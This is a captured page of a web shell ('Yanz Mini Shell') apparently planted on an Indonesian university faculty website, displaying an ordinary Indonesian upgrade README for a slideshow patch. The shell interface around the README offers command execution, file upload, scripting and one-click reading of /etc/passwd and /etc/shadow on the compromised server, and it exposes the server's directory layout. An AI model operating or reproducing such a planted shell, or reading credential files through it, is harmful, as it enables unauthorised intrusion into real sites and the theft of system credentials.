Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
# UPGRADE v5.1 — Slideshow Promosi Visual **Patch ringkas atas v5.** Mengubah slideshow homepage jadi mode promosi visual murni (full image, tanpa teks) dan memindahkan stats widget ke halaman Profil Fakultas. --- ## 🎯 Yang Berubah | Komponen | Sebelum | Sesudah | |----------|---------|---------| | **Slideshow homepage** | 600px, overlay teks, dark gradient | 70vh, **pure image**, no overlay | | **Stats widget** | Di homepage | Di **halaman Profil Fakultas** (slug=profil) | | **Navigasi slideshow** | Hanya dots indicator | Dots + **panah kiri-kanan** + swipe touch + keyboard ←/→ | | **Mode tampilan** | Hardcoded ada teks | **Toggle setting** `slideshow_mode` (pure_image / with_text) | | **Tinggi mobile** | 480px fixed | 50vh (lebih proporsional di HP) | --- ## 🚀 Cara Deploy ### 1. Backup ```bash mysqldump -u root fsains_uncp > backup_sebelum_v51.sql ``` ### 2. Ganti 4 file yang berubah Copy file-file berikut dari paket v5.1 ke installation Anda (timpa file lama): ``` includes/slideshow.php ← rewrite total (mode toggle, 70vh, swipe, arrow, keyboard) pages/home.php ← stats section dihapus pages/page.php ← inject stats widget khusus saat slug=profil admin/settings.php ← tambah toggle "Mode Slideshow" admin/hero-slides.php ← tambah notice mode promosi visual ``` ### 3. Jalankan SQL upgrade phpMyAdmin → DB `fsains_uncp` → tab **SQL** → paste isi `database_upgrade_v51.sql` → klik **Go**. Akan ditambah 1 setting baru: `slideshow_mode` = `pure_image`. ### 4. Verifikasi - Buka homepage → slideshow tampil full image tinggi 70vh, tidak ada teks - Klik Profil → Sejarah Fakultas → stats widget muncul di bawah konten - Login admin → Pengaturan Web → cek dropdown **Mode Slideshow** ada --- ## ⚙️ Cara Toggle Mode Slideshow **Pure Image (default):** - Gambar penuh, tanpa overlay teks, tanpa dark gradient - Ada tombol panah kiri-kanan untuk navigasi manual - Cocok untuk: foto gedung, foto kegiatan, suasana kampus, banner promosi **Dengan Overlay Teks:** - Ada dark gradient + judul + subtitle + tombol CTA - Cocok untuk: announcement spesifik, promosi event dengan headline **Cara ganti:** Sidebar admin → **Pengaturan Web** → section **Tampilan Slideshow Hero** → pilih mode → Simpan. > **Tips:** Judul/subtitle/tombol di form Hero Slideshow tetap bisa diisi meski mode pure_image aktif. Datanya tersimpan dan akan muncul otomatis kalau Anda ganti ke mode "Dengan Overlay Teks". --- ## 🎨 Best Practice Foto Slideshow Untuk mode **pure_image** (promosi visual), pakai foto yang: - **Resolusi tinggi** — minimal 1920×800 pixel (16:9 atau 21:9) - **Komposisi seimbang** — subject di tengah atau rule of thirds - **Ada "breathing room"** — tidak terlalu padat, ada area kosong untuk dots/arrow tidak menutupi - **Warna kontras tinggi** — supaya tampak hidup di layar besar - **Tidak ada teks di gambar** — kalau perlu teks, pakai mode "Dengan Overlay Teks" Contoh subject ideal: foto gedung fakultas dari sudut artistik, mahasiswa di lab/lapangan, suasana wisuda, kegiatan akademik dengan banyak orang, drone shot kampus. --- ## 🔧 Detail Teknis ### Setting baru di tabel `settings` ```sql INSERT IGNORE INTO settings (setting_key, setting_value, description) VALUES ('slideshow_mode', 'pure_image', '...'); ``` ### Validasi whitelist di POST handler File `admin/settings.php` punya guard: ```php if ($key === 'slideshow_mode' && !in_array($value, ['pure_image', 'with_text'], true)) { $value = 'pure_image'; // fallback aman } ``` ### Stats widget conditional di page.php ```php if ($slug === 'profil'): // ... render stats widget endif; ``` Kalau ke depan ingin stats juga muncul di halaman lain (misal `tentang-kami`), tinggal ubah jadi: `if (in_array($slug, ['profil', 'tentang-kami'])):` ### Slideshow JS baru: swipe + keyboard ```javascript // Touch swipe untuk mobile hero.addEventListener('touchstart', e => { touchStartX = e.touches[0].clientX; }); hero.addEventListener('touchend', e => { const diff = e.changedTouches[0].clientX - touchStartX; if (Math.abs(diff) > 50) { /* swipe detected */ } }); // Keyboard arrows document.addEventListener('keydown', (e) => { if (e.key === 'ArrowLeft') prevS(); if (e.key === 'ArrowRight') next(); }); ``` --- ## 🐛 Troubleshooting **Q: Setelah update, slideshow masih nampak ada teks?** A: Cek di Pengaturan Web → Mode Slideshow → pastikan terpilih "Pure Image". Setting otomatis dibuat saat akses pertama, tapi kalau cache browser keras, hard refresh (Ctrl+Shift+R). **Q: Stats widget tidak muncul di halaman Profil?** A: Pastikan slug halaman tepat `profil` (cek di tabel `pages`). Jika halaman Anda punya slug berbeda, edit `pages/page.php` line `if ($slug === 'profil'):` ganti dengan slug yang sesuai. **Q: Tinggi slideshow terlalu kecil/besar?** A: Edit `includes/slideshow.php` baris `height: 70vh;` ganti angkanya (vh = persen viewport height). Kalau ingin fixed pixel, ganti `70vh` jadi `600px`. **Q: Saya ingin teks di slideshow lagi?** A: Pengaturan Web → Mode Slideshow → pilih "Dengan Overlay Teks" → Simpan. Pastikan field judul/subtitle/tombol di setiap slide juga sudah diisi via Hero Slideshow. --- **Versi:** v5.1 **Tanggal:** 2026-05-30 **Compatibility:** Patch atas v5.0 (wajib sudah jalankan v5 dulu)
Free Space : 55185641472 Byte